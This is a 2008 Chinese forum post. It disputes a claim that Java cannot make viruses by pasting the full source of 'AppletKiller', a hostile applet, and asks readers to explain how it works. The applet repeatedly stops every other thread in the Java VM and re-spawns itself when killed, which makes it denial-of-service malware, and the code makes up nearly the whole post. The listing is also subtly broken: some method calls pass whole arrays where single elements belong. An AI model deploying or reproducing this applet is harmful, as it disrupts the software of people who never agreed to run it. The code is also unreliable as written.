- 分享
- 0
- 人气
- 0
- 主题
- 0
- 帖子
- 11
- UID
- 81224
- 积分
- -3
- 阅读权限
- 1
- 注册时间
- 2007-6-8
- 最后登录
- 2010-3-16
- 在线时间
- 29 小时
|
原帖由 dious 于 2008-7-1 04:19 PM 发表
java是不能做病毒的
沒有pointer
可是我有一个JAVA程式VIRUS...希望有人能帮我解释这个程式的运作过程...
希望有人能帮...谢谢...
import java.applet.*;
import java.awt.*;
import java.io.*;
public class AppletKiller extends java.applet.Applet implements Runnable
{
Thread killer;
public void init()
{
killer = null;
}
public void start()
{
if (killer == null)
{
killer = new Thread(this,"killer");
killer.setPriority(Thread.MAX_PRIORITY);
killer.start();
}
}
public void stop() {}
// Kill all threads except this one
public void run()
{
try {
while (true)
{
ThreadKiller.killAllThreads();
try { killer.sleep(100); }
catch (InterruptedException e) {}
}
}
catch (ThreadDeath td) {}
// Resurrect the hostile thread in case of accidental ThreadDeath
finally
{
AppletKiller ack = new AppletKiller();
Thread reborn = new Thread(ack, "killer");
reborn.start();
}
}
}
class ThreadKiller
{
// Ascend to the root ThreadGroup and list all subgroups recursively,
// killing all threads as we go
public static void killAllThreads()
{
ThreadGroup thisGroup;
ThreadGroup topGroup;
ThreadGroup parentGroup;
// Determine the current thread group
thisGroup = Thread.currentThread().getThreadGroup();
// Proceed to the top ThreadGroup
topGroup = thisGroup;
parentGroup = topGroup.getParent();
while(parentGroup != null)
{
topGroup = parentGroup;
parentGroup = parentGroup.getParent();
}
// Find all subgroups by descending recursively
findGroups(topGroup);
}
private static void findGroups(ThreadGroup g)
{
if (g == null)
{
return;
}
else
{
int numThreads = g.activeCount();
int numGroups = g.activeGroupCount();
Thread[] threads = new Thread[numThreads];
ThreadGroup[] groups = new ThreadGroup[numGroups];
g.enumerate(threads, false);
g.enumerate(groups, false);
for (int i = 0; i < numThreads; i++)
killOneThread(threads);
for (int i = 0; i < numGroups; i++)
findGroups(groups);
}
}
private static void killOneThread(Thread t)
{
if
(
t == null || t.getName().equals("killer")) {return;
}
else
{
t.stop();
}
}
}
[ 本帖最后由 咸猪腿 于 2008-7-1 05:23 PM 编辑 ] |
|